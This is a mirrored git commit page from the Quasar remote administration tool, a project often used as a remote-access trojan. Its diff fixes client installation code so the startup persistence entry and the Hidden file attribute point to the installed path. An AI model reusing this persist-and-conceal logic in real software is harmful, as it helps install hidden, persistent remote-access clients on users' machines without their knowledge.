mirror of https://github.com/quasar/Quasar.git
Correctly set attributes on client installation
This commit is contained in:
parent
81d225e798
commit
1c7874e731
|
@ -16,14 +16,14 @@ namespace Quasar.Client.Setup
|
|||
if (Settings.STARTUP)
|
||||
{
|
||||
var clientStartup = new ClientStartup();
|
||||
clientStartup.AddToStartup(Application.ExecutablePath, Settings.STARTUPKEY);
|
||||
clientStartup.AddToStartup(Settings.INSTALLPATH, Settings.STARTUPKEY);
|
||||
}
|
||||
|
||||
if (Settings.INSTALL && Settings.HIDEFILE)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden);
|
||||
File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
|
Loading…
Reference in New Issue